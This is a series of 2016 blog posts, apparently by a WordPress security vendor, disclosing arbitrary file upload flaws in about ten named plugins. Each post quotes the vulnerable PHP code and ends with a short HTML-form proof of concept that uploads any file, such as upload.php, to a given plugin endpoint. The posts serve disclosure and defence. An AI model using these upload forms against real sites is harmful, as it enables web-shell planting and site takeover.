14 Oct

Arbitrary File Upload Vulnerability in WP Marketplace

When it comes to certain types of plugins you would hope that developers would be extra careful when it comes to security, one of them being eCommerce plugins for obvious reasons, but we have continued to see poor security practices with that type of plugin. Among the vulnerabilities we have found in them this year, have been two arbitrary file upload vulnerabilities, which is probably the most likely type of vulnerability to be exploited. As part of monitoring of hacker activity we have just spotted another one, this time it is one that is likely already being exploited.

Within the last day we had a request for the file /wp-content/plugins/wpmarketplace/css/extends_page.css, which is part of the plugin WP Marketplace. Requesting a file from a plugin that isn’t installed on a website is usually indication that a hacker is probing for usage of it before exploiting something. We have also seen some requests for the file in the third-party data we monitor as well.

Seeing as arbitrary file upload vulnerabilities are so likely to be exploited, one of the first things we look for when trying to determine what hackers might be exploiting in a plugin is that type of issue. In this case we quickly found one.

In the file /modules/additional-preview-images.php the function wpmp_upload_previews() is made accessible when loading admin pages (as the function is_admin() tells you that, not if the user is Administrator):

148
149
150
151
152
153
154
155
156
if(is_admin())  {
    /*wp_enqueue_script('swfobject',plugins_url().'/wpmarketplace/uploadify/swfobject.js');
    wp_enqueue_script('uploadify',plugins_url().'/wpmarketplace/uploadify/jquery.uploadify.v2.1.4.min.js');
    wp_enqueue_style('uploadify',plugins_url().'/wpmarketplace/uploadify/uploadify.css');*/
 
    add_action("init","wpmp_upload_previews");
    add_action("wp_ajax_wpmp_delete_preview","wpmp_delete_preview");
    add_filter("wpmp_meta_box","wpmp_meta_box_images");
}

The wpmp_upload_previews() then will save an uploaded file to the file system without doing checks as to who is making the request, leading to an arbitrary file upload vulnerability:

108
109
110
111
112
113
114
115
116
117
118
function wpmp_upload_previews(){
     $adpdir = WPMP_IMAGE_DIR;
     if((isset($_GET['task'],$_FILES['Filedata']['tmp_name']) && is_uploaded_file($_FILES['Filedata']['tmp_name'])   && $_GET['task']=='wpmp_upload_previews')){
        $tempFile = $_FILES['Filedata']['tmp_name'];    
        $targetFile =  $adpdir ."wpdm-adp-". time().'-'.wpmp_format_name($_FILES['Filedata']['name']);
        move_uploaded_file($tempFile, $targetFile);
        echo basename($targetFile);        
        die();
     }
 
}

Development of the plugin stopped some time ago, so we are disclosing the vulnerability and notifying the Plugin Directory.

On the plugin’s page on wordpress.org, it is mentioned at the top that developers of this plugin are also the developers of the WordPress Download Manager plugin, for which we discovered an authenticated arbitrary file upload vulnerability nearly four months ago that still haven’t been fixed. So security doesn’t seem to be a priority for them in general.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/wpmp-previews/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?task=wpmp_upload_previews" method="POST" enctype="multipart/form-data">
<input type="file" name="Filedata" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 10/14/2016 – WordPress.org Plugin Directory notified.
  • 10/14/2016 – Plugin removed from WordPress.org Plugin Directory.
04 Oct

Old Vulnerability Report: Arbitrary File Upload Vulnerability in 360 Product Rotation

One of the things that we do to provide our customers with the best data on WordPress plugin vulnerabilities is to monitor third party data on hacking attempts. That sometimes leads us to finding what looks to be exploitation of vulnerabilities that a hacker has just discovered in the current version of a plugin. In other cases it shows old vulnerabilities that hackers are still trying to exploit. We recently spotted an attempt to exploit an arbitrary file upload vulnerability in older versions of the plugin 360 Product Rotation. We couldn’t find a page that describes the issue to link to for our data on the vulnerability, so here are the details.

The hacking attempt involved a request sent to the page /includes/plugin-media-upload.php. Through that file you upload a .zip file and the contents are extracted and saved in a directory on the website.

While the feature this upload functionality was used by, looks to have only been intended for logged in users (the front end of it was removed in version 1.2.4), there is no check done to insure the person attempting the upload is logged in (we notified the developer about that).

Back when this feature was introduced in version 1.1.3 of the plugin, there was no restriction on what type of files could be included in the .zip file, leading to an arbitrary file upload vulnerability.

In version 1.2.1 a function was added to check if executable files are included in the .zip file:

function getExcludedFiles($path)
{
	$files = getDirContents($path);
	$extensions_excluded = array('php','php3','py','sh');
	$files_excluded      = array();
 
	foreach($files as $k=>$file){
		$extension = strtolower(pathinfo($file, PATHINFO_EXTENSION));
		if(in_array($extension,$extensions_excluded))
		{
			$files_excluded[] = $file;
		}
	}
 
	return $files_excluded;
}

If any executable files are found the in the .zip, the files do not get extracted from it.

In a good reminder that you can not rely on checking the changelog of a plugin to determine if there has been a security fix, the only change listed for 1.2.1 was:

Bugfix: .zip file created on some Windows systems did not extract correctly

Proof of Concept

The following proof of concept will upload the selected .zip file and extract its contents in to the directory /wp-content/uploads/yofla360/.

Make sure to replace “[path to WordPress]” with the location of WordPress. You will also need to include the HTTP request header “X-Requested-With” with the request.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/360-product-rotation/includes/plugin-media-upload.php" method="POST" enctype="multipart/form-data">
<input type="file" name="FileInput" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
23 Sep

Arbitrary File Upload Vulnerability in Downloads Manager

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we have found a quite a few vulnerabilities that exist in the current versions of plugins that it looks like hackers have already started exploiting. There have been periods where we have been spotting those quite often and others where we there are longs periods between discoveries. We have recently been in a slow period, but that has just changed, as yesterday we spotted an arbitrary file upload vulnerability in Genesis Simple Defaults and today we found the same type of vulnerability in the plugin Downloads Manager.

This time it started with a request for the file /wp-content/plugins/downloads-manager/single-download-template.tpl on one of the website, which looked to be someone probing for usage of the Downloads Manager plugin. Based on the name our first thought would that there was a vulnerability in its download capability that would allow you to download an arbitrary file from the website, but as we started to take a look at the plugin we found it had a file upload capability on one the plugin’s page in the admin area of WordPress:

downloads-manager-file-upload

A vulnerability with that would be of more interest to a hacker. We first tried to upload a file through that after logging out of WordPress and the file was successfully uploaded.

Looking at the underlying code you can see why that could occur. The following code runs whenever the plugin is loaded (so anytime a frontend or backed page is requested), which looks to see if a request to upload a file through the plugins is being made:

221
222
223
224
225
226
if(isset($_POST['dm_upload'])) {
 
  $file_name = $_FILES["upfile"]["name"];
 
  if(@is_uploaded_file($_FILES["upfile"]["tmp_name"])) {
    move_uploaded_file($_FILES["upfile"]["tmp_name"], $downloadsdir.$file_name) or die(__('Can\'t find destination folder','downloads-manager'));

The code doesn’t do anything to restrict who can upload a file, so you don’t actually need to be logged or able to access the admin page shown in order to upload a file, leading to the arbitrary file upload vulnerability.

Considering the developer of the plugin hasn’t been active in seven years we have skipped notifying them and notified the Plugin Directory instead.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/plugins/downloads-manager/upload/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST" enctype="multipart/form-data">
<input type="hidden" name="dm_upload" />
<input type="file" name="upfile" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

9/23/2016 – WordPress.org Plugin Directory notified.

22 Sep

Arbitrary File Upload Vulnerability in Genesis Simple Defaults

One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we saw a recent request on one of them for the file /wp-content/plugins/genesis-simple-defaults/readme.txt, which indicates that a hacker may be probing for usage of the plugin Genesis Simple Defaults.

When looking to see if we could find a vulnerability that hackers would be interested in targeting in the plugin, one of the two files with PHP code in the plugin immediately stood out, uploadFavicon.php. Seeing as hacker frequently target arbitrary file upload vulnerabilities, based on the name of the file that would seem to be a likely location for that type of thing.

In looking at the code you don’t get far before seeing a major security problem:

7
8
9
10
if(!isset($_POST['upload-favicon'])){
	if ( !wp_verify_nonce( $_POST['upload-favicon'], plugin_basename(__FILE__) )) {header("location:".$refer."&amp;nonceless");}
}
else{

That code is intended to check for a valid nonce (to prevent cross-site request forgery (CSRF)), but it only tries to verify the nonce if it doesn’t exist, which doesn’t make sense. If you do include a nonce, then else statement, which handles upload files, runs without checking if it the nonce is valid.

The only other code that looks like it restricts what files can be uploaded is this:

18
if( ($image['type'] != "image/gif") &amp;&amp; ($image['type'] != "image/jpeg") &amp;&amp; ($image['type'] != "image/pjpeg") &amp;&amp; ($image['type'] != "image/ico") &amp;&amp; ($image['type'] != "image/vnd.microsoft.icon") &amp;&amp; ($image['type'] != "image/png") ){ header("location:".$refer."&amp;mistype=".$image['type']); }

The [‘type’] is specified by the requester, so it can be set to something other than it actually is, so that wouldn’t restrict what could be uploaded. But more importantly in this case, the check doesn’t actually stop you from uploading other types of files, it just dictates what URL you are redirected to after the file is uploaded.

Without any working security restrictions in place that leaves you with an arbitrary file upload vulnerability in the file and therefore in the plugin.

Considering the developer of the plugin hasn’t been active in three years we have skipped notifying them and notified the Plugin Directory instead.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/favicon/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/genesis-simple-defaults/uploadFavicon.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="upload-favicon" value="fake" />
<input type="file" name="iconImage" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 9/22/2016 – WordPress.org Plugin Directory notified.
19 Sep

Arbitrary File Upload Vulnerability in Front end file upload and manager Plugin

After discovering an arbitrary file upload vulnerability in the plugin N-Media Post Front-end Form recently, we took a look at other plugins from the same developer and found that three other shared same the same vulnerable code. One of those is Front end file upload and manager Plugin.

In the case of this plugin, the developer had actually tried to restrict what kind of files could be uploaded, unlike the other plugin:

737
738
739
740
741
742
743
744
745
746
747
748
/* ========== Invalid File type checking ========== */
$file_type = wp_check_filetype($_REQUEST ["name"], null );
 
$allowed_types = explode(',', $this->get_option('_file_types'));
//var_dump($allowed_types);
 
if( !in_array($file_type['ext'], $allowed_types) ){
	$response ['status'] = 'error';
	$response ['message'] = __ ( 'File type not valid', 'nm-filemanager' );
	die ( json_encode($response) );
}
/* ========== Invalid File type checking ========== */

The problem is that in the plugin’s default state it doesn’t work properly for .php files, which seems to be more WordPress’ fault than the developers. The plugin tries to get the file to be uploaded’s file extension using WordPress’ function wp_check_filetype(). What isn’t mentioned in that function’s documentation is that it only returns the file’s extension and type if the file extension is one that is permitted to be uploaded by WordPress. The plugin’s code then checks if the extension is one that is allowed to be uploaded by the plugin’s settings and exits if it isn’t. Since by default no extensions are set to be allowed, the .php files empty extension will be seen as being allowed and the file is uploaded.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/user_uploads/ as upload.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="nm_filemanager_upload_file" />
<input type="hidden" name="name" value="upload.php" />
<input type="file" name="file" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Timeline

  • 7/16/2016 – Developer notified.
  • 7/16/2016 – Developer responds.
  • 9/19/2016 – WordPress.org Plugin Directory notified.
  • 9/21/2016 – Plugin removed from WordPress.org Plugin Directory.
  • 9/24/2016 – Version 4.0 released, which fixes vulnerability.
19 Sep

Arbitrary File Upload Vulnerability in N-Media Website Contact Form with File Upload

After discovering an arbitrary file upload vulnerability in the plugin N-Media Post Front-end Form recently, we took a look at other plugins from the same developer and found that three other shared same the same vulnerable code. One of those is N-Media Website Contact Form with File Upload.

In the case of this plugin, we found that we had already had a listing for a very similar looking vulnerability for the plugin already in our dataset. Our first thought was that we had mistakenly marked that one as being fixed when we added it to our data and the vulnerability had never been fixed, but a closer looked showed what had happened. After the previously issue was discovered the following code was added to restrict .php files being uploaded:

556
557
558
559
560
561
562
563
564
565
566
567
/* ========== Invalid File type checking ========== */
$file_type = wp_check_filetype($_FILES ['Filedata'] ['name'], null );
 
$allowed_types = array('php', 'exe');
//var_dump($allowed_types);
 
if( in_array($file_type['ext'], $allowed_types) ){
	$response ['status'] = 'error';
	$response ['message'] = __ ( 'File type not valid - '.$file_type, 'nm-filemanager' );
	die ( json_encode($response) );
}
/* ========== Invalid File type checking ========== */

At the time you had set the name of the file input to be uploaded as “Filedata” for the upload to work. The code above checks the input with that name for extensions that are not allowed. In version 1.9, the code was changed so the file input needs to be name “file” instead of “Filedata”, but the code checking the extension was not changed as well.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/contact_files/ as upload.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="nm_webcontact_upload_file" />
<input type="hidden" name="name" value="upload.php" />
<input type="file" name="file" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Timeline

  • 7/16/2016 – Developer notified.
  • 7/16/2016 – Developer responds.
  • 9/19/2016 – WordPress.org Plugin Directory notified.
  • 9/21/2016 – Plugin removed from WordPress.org Plugin Directory.
19 Sep

Arbitrary File Upload Vulnerability in WooCommerce Extra Fields

After discovering an arbitrary file upload vulnerability in the plugin N-Media Post Front-end Form recently, we took a look at other plugins from the same developer and found that three other shared same the same vulnerable code. One of those was WooCommerce Extra Fields (which has now been renamed WooCommerce Product Addons).

The vulnerability was subsequently fixed in version 2.0.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/product_files/ as upload.php. WooCommerce needs to be enabled for this to work.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="nm_personalizedproduct_upload_file" />
<input type="hidden" name="name" value="upload.php" />
<input type="file" name="file" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Timeline

  • 7/16/2016 – Developer notified.
  • 7/16/2016 – Developer responds.
  • 8/2/2016 – Version 2.0 released, which fixes vulnerability.
19 Sep

Arbitrary File Upload Vulnerability in N-Media Post Front-end Form

One of the important ways we keep track of the vulnerabilities that exist and have existed in WordPress plugins is by monitoring for apparent hacking attempts against WordPress plugins. We started by monitoring our websites, but after we kept finding new vulnerabilities that existed in the current version of plugins through that we expanded out our monitoring to some outside data sources. Through that we found yet another very exploitable vulnerability in the current version of a plugin.

In one of the data sources we monitor we saw a request for the file /wp-content/plugins/wp-post-frontend/js/plupload-2.1.2/examples/upload.php, which is a part of the plugin N-Media Post Front-end Form. Looking at that file you could upload arbitrary files to a website provided that the PHP setting upload_tmp_dir is configured. The ability for this to be exploited seems to be limited, since file does not tell you were the upload file is located. So unless you could determine that some other way you wouldn’t be able to access it. If the directory is not web accessible then you would also need access to a local file inclusion (LFI) vulnerability to be able to exploit it.

The presence of that file would indicate that the plugin has some file upload capability that is part of its functionality, so we then went to see if that was the case and if it is vulnerable as well.

We then found the file upload capability in the plugin was for uploading a featured image. The only limit on what kind of file you could upload through it was in JavaScript code, which runs on the client side and therefore can be changed on the client side (or in this case it can be completely bypassed).

The upload is handled through WordPress AJAX functionality.

In the file /classes/plugin.class.php the plugin defines a series of functions that should be accessible through that:

98
99
100
101
$this -> ajax_callbacks = array('save_settings',		//do not change this action, is for admin
								'load_post_form',
								'save_post',
								'upload_file',);

Then in the file /classes/nm-framework.php those are registered to be accessible whether someone is logged in our not:

119
120
121
122
123
124
125
function do_callbacks(){
 
	foreach ($this -> ajax_callbacks as $callback){
		add_action( 'wp_ajax_'.$this->plugin_meta['shortname'].'_'.$callback, array($this, $callback) );
		add_action( 'wp_ajax_nopriv_'.$this->plugin_meta['shortname'].'_'.$callback, array($this, $callback) );
	}
}

Through that anyone can access the function upload_file() in the file /classes/plugin.class.php and upload any file they want.

Other malicious activity might be possible with the other function also made accessible.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/post_files/ as upload.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="nm_postfront_upload_file" />
<input type="hidden" name="name" value="upload.php" />
<input type="file" name="file" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Timeline

  • 7/16/2016 – Developer notified.
  • 7/16/2016 – Developer responds.
  • 9/19/2016 – WordPress.org Plugin Directory notified.
  • 9/21/2016 – Plugin removed from WordPress.org Plugin Directory.
  • 10/8/2016 – Version 1.1 submitted to Plugin Directory, which fixes vulnerability.
16 Aug

Arbitrary File Upload Vulnerability in Attachment Manager

As we continue review old third-party data on hacking attempts to identity more vulnerabilities that hackers have likely already discovered in WordPress plugins we spotted an arbitrary file upload vulnerability in the plugin Attachment Manager.

Back in June of last year a request was made for the file /wp-content/plugins/attachment-manager/xavisys-plugin-framework.css, for what was likely a probe for usage of the plugin before exploiting it. Looking over that plugin for any obvious issues we found that in version 2.1.1 a file upload capability is accessible without being logged in, despite only being intended to be accessed by users logged in as Administrators.

The issue starts with the function handle_actions() being run on when any WordPress page is accessed (in the file /wp-attachment-manager.php):

74
add_action('init', array($this,'handle_actions'));

In the function hande_actions(), if a GET input “page” is set to “attachment_manager” and a FILE input named “wam_add_icon” are included in the request, that file is uploaded to the website:

423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
public function handle_actions() {
	if (isset($_GET['page']) &amp;&amp; $_GET['page'] == 'attachment_manager') {
		if ( isset($_GET['action']) ) {
			if ('remove' == $_GET['action']) {
				$this-&gt;_settings['icons'] = array_diff($this-&gt;_settings['icons'], array(preg_replace('/[^\w-]/', '', $_GET['icon'])));
				update_option('icons', $this-&gt;_settings['icons']);
				if (is_writable($this-&gt;_icon_dir.'/'.$_GET['icon']) &amp;&amp; @unlink($this-&gt;_icon_dir.'/'.$_GET['icon'])) {
					wp_redirect('options-general.php?page=attachment_manager&amp;remove=true');
				} else {
					wp_redirect('options-general.php?page=attachment_manager&amp;remove=false');
				}
			}
			exit;
		} elseif (isset($_FILES['wam_add_icon'])) {
			$filename = basename($_FILES['wam_add_icon']['name']);
			$file = path_join($this-&gt;_icon_dir, $filename);
			$icon_clean_name = preg_replace('/[^\w-]/', '', $filename);
			$this-&gt;_settings['icons'][$icon_clean_name] = array('exts'=&gt;'', 'icon'=&gt;$filename);
			update_option('icons', $this-&gt;_settings['icons']);
			if (move_uploaded_file($_FILES['wam_add_icon']['tmp_name'], $file)) {
				wp_redirect('options-general.php?page=attachment_manager&amp;upload=true');
			} else {
				wp_redirect('options-general.php?page=attachment_manager&amp;upload=false');
			}
		}
	}
}

The plugin had not been updated in 7 years, but the developer was still active so we contacted them to let the know about the issue. Later in the day we contacted them, they release version 2.1.2 that fixes the issue by adding a nonce and having the upload run through the wp_handle_upload() WordPress function, which limits what kind of files can be uploaded.

Proof of Concept

The following proof of concept will upload the selected  file and put it in the current month’s directory inside of the /wp-content/plugins/attachment-manager/icons/ directory.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]?page=attachment_manager" method="POST" enctype="multipart/form-data">
<input type="file" name="wam_add_icon" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/15/2016 – Developer notified.
  • 8/15/2016 – Version 2.1.2 released, which fixes the issue.
01 Aug

Arbitrary File Upload Vulnerability in Estatik

As we continue to review old third-party data on hacking attempts to identity more vulnerabilities that hackers have likely already discovered in WordPress plugins we spotted an arbitrary file upload vulnerability in the plugin Estatik.

Back in June of last year a request was made for the file /wp-content/plugins/estatik/front_templates/css/es_front_responsive.css, for what was likely a probe for usage of the plugin before exploiting it. Looking over that plugin for any obvious issues we found that in the current version of it, 2.2.5, a file upload capability is accessible without being logged, despite only being intended to be accessed by users logged in as Administrators.

The issue starts with the function es_prop_media_images() being made accessible through WordPress AJAX functionality to those not logged in (in the file /admin_template/es_property/es_property_functions.php):

231
add_action('wp_ajax_nopriv_es_prop_media_images', 'es_prop_media_images');

In that function the following code saves an uploaded file sent with a request to the AJAX function

131
132
133
134
135
136
137
$image_name = time()."_".$_FILES['es_media_images']['name'][$i];
 
$sourcePath = $_FILES['es_media_images']['tmp_name'][$i];  
 
$targetPath = $upload_dir['path']."/".$image_name;
 
move_uploaded_file($sourcePath,$targetPath) ;

Proof of Concept

The following proof of concept will upload the selected  file and put it in the current month’s directory inside of the /wp-content/uploads/ directory. The name of the file in the upload directory with be the time the file was saved as output by the function time() followed by a “_” and then name of the as it was uploaded.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="es_prop_media_images" />
<input type="file" name="es_media_images[]" /> 
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 7/25/2016 – Developer notified.
  • 8/1/2016 – WordPress.org Plugin Directory notified.
  • 8/1/2016 – WordPres.org Plugin Directory removes plugin.
  • Week of 8/14/2016 – Version 2.3.0 released, which fixes vulnerability, but leaves a lesser vulnerability.